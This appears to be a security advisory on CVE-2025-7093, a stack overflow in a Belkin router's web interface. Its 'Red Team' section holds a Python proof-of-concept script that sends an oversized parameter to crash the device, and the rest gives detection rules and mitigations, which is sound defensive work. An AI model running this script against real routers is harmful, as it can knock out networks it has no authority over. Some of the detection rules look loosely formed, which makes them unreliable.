CVE-2025-7093

Executive Summary

CVE-2025-7093 is a critical stack-based buffer overflow vulnerability discovered in the Belkin F9K1122 router running firmware version 1.00.33. The flaw resides in the formSetLanguage function within the /goform/formSetLanguage endpoint of the webs component. By manipulating the webpage argument, an unauthenticated remote attacker can trigger a stack-based buffer overflow, leading to arbitrary code execution or denial of service. The exploit has been publicly disclosed, and the vendor (Belkin) has not responded to disclosure attempts, leaving the device unpatched. This vulnerability poses a significant risk to home and small office networks using this router model.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in an embedded device (Belkin router). No supply chain package security implications apply.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the description (critical, remote, unauthenticated, stack overflow), the estimated CVSS v3.1 score is 9.8 (Critical).

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Exploit does not affect other components.
• Confidentiality (C): High (H) – Potential for full device compromise.
• Integrity (I): High (H) – Attacker can modify device state.
• Availability (A): High (H) – Can cause denial of service.

Threat Level: Critical. Public exploit availability and lack of vendor response increase urgency.

Deep Dive & Mechanics

The vulnerability is a classic stack-based buffer overflow in the formSetLanguage function of the Belkin F9K1122 router's web server. The function processes the webpage parameter from an HTTP POST request to /goform/formSetLanguage. It copies the user-supplied value into a fixed-size stack buffer without proper bounds checking. By sending an overly long webpage string, an attacker can overwrite the return address and other stack data, gaining control of the program flow.

Root Cause: Lack of input validation and unsafe use of a function like strcpy or sprintf to copy the webpage argument into a stack buffer.

Attack Vector: Remote, unauthenticated HTTP POST request to the vulnerable endpoint.

Impact: Successful exploitation allows arbitrary code execution with the privileges of the web server (typically root on embedded devices), enabling full device takeover, network pivoting, or data exfiltration.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the only known version. Below is a hypothetical representation of the vulnerable function and a secure alternative.

Vulnerable Code (C-like pseudocode):

void formSetLanguage(struct request *req) {
    char buffer[64];
    char *webpage = get_param(req, "webpage");
    // Unsafe copy - no bounds check
    strcpy(buffer, webpage);
    // ... process language setting
}

Patched Code (Hypothetical):

void formSetLanguage(struct request *req) {
    char buffer[64];
    char *webpage = get_param(req, "webpage");
    // Safe copy with length limit
    strncpy(buffer, webpage, sizeof(buffer) - 1);
    buffer[sizeof(buffer) - 1] = '\0';
    // ... process language setting
}

The patched version uses strncpy with a size limit and ensures null-termination, preventing buffer overflow.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Belkin F9K1122 router with firmware 1.00.33.
• Network access to the router's web interface (typically port 80 or 443).
• Python3 with requests library.

Exploit Script (Python):

#!/usr/bin/env python3
import requests
import sys

target = sys.argv[1] if len(sys.argv) > 1 else "192.168.1.1"
payload = b"A" * 200  # Overflow buffer to overwrite return address
# In a real exploit, replace with shellcode and proper ROP chain

url = f"http://{target}/goform/formSetLanguage"
data = {"webpage": payload}
try:
    r = requests.post(url, data=data, timeout=5)
    print(f"Sent payload. Response: {r.status_code}")
except Exception as e:
    print(f"Error: {e}")

Usage:

python3 exploit.py 192.168.1.1

Note: This is a proof-of-concept. A full exploit would require crafting a ROP chain or injecting shellcode to achieve code execution.

Blue Team (Defensive)

Detection:

• Monitor HTTP POST requests to /goform/formSetLanguage with abnormally long webpage parameters.
• Use network intrusion detection systems (NIDS) to alert on payloads exceeding 64 bytes in the webpage field.
• Enable logging on the router (if possible) to capture malformed requests.

Mitigation:

• Isolate the router on a separate VLAN.
• Disable remote management if not needed.
• Apply virtual patching via a WAF or NIPS to block oversized parameters.
• Monitor for firmware updates from Belkin (though unlikely).

Indicators of Compromise (IOCs)

• Network:
  • HTTP POST requests to /goform/formSetLanguage with webpage parameter > 64 bytes.
  • Unusual outbound connections from the router to unknown IPs (post-exploitation).
• Host (Router):
  • Unexpected processes running on the router.
  • Modified firmware or configuration files.
  • Unusual log entries indicating crashes or restarts.
• File:
  • Presence of unknown binaries or scripts in /tmp or /var (if accessible).

Detection Engineering

YARA Rule

rule CVE_2025_7093_Belkin_Overflow {
    meta:
        description = "Detects exploit attempts for CVE-2025-7093 in HTTP traffic"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-7093"
    strings:
        $endpoint = "/goform/formSetLanguage"
        $param = "webpage="
        $long_param = /webpage=[A-Za-z0-9%]{65,}/  // >64 bytes
    condition:
        $endpoint and $param and $long_param
}

Sigma Rule

title: CVE-2025-7093 Belkin Router Buffer Overflow Attempt
id: 8a3f7c2e-1b4d-4f6a-9c8e-0d1f2a3b4c5d
status: experimental
description: Detects HTTP POST requests targeting /goform/formSetLanguage with oversized webpage parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-stem: '/goform/formSetLanguage'
        cs-uri-query|contains: 'webpage='
    condition: selection and len(cs-uri-query) > 100
falsepositives:
    - Legitimate long language strings (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-7093 Belkin Router Buffer Overflow Attempt"; flow:to_server; content:"POST"; http_method; content:"/goform/formSetLanguage"; http_uri; content:"webpage="; http_client_body; pcre:"/webpage=[A-Za-z0-9%]{65,}/"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the device: Place the Belkin router behind a firewall or on a separate VLAN with restricted access.
2. Disable remote management: Turn off WAN-side access to the web interface.
3. Monitor logs: Enable logging and watch for exploitation attempts.
4. Apply virtual patching: Use a WAF or NIPS to block requests with webpage parameters exceeding 64 bytes.

Long-Term:

• Replace the router with a supported, patched model from a vendor with active security support.
• Contact Belkin support to demand a firmware update (though response is unlikely).
• Consider using open-source firmware like OpenWrt if compatible.

Patch Status: No patch available. Vendor unresponsive.

Valters IT
Securing Digital Frontiers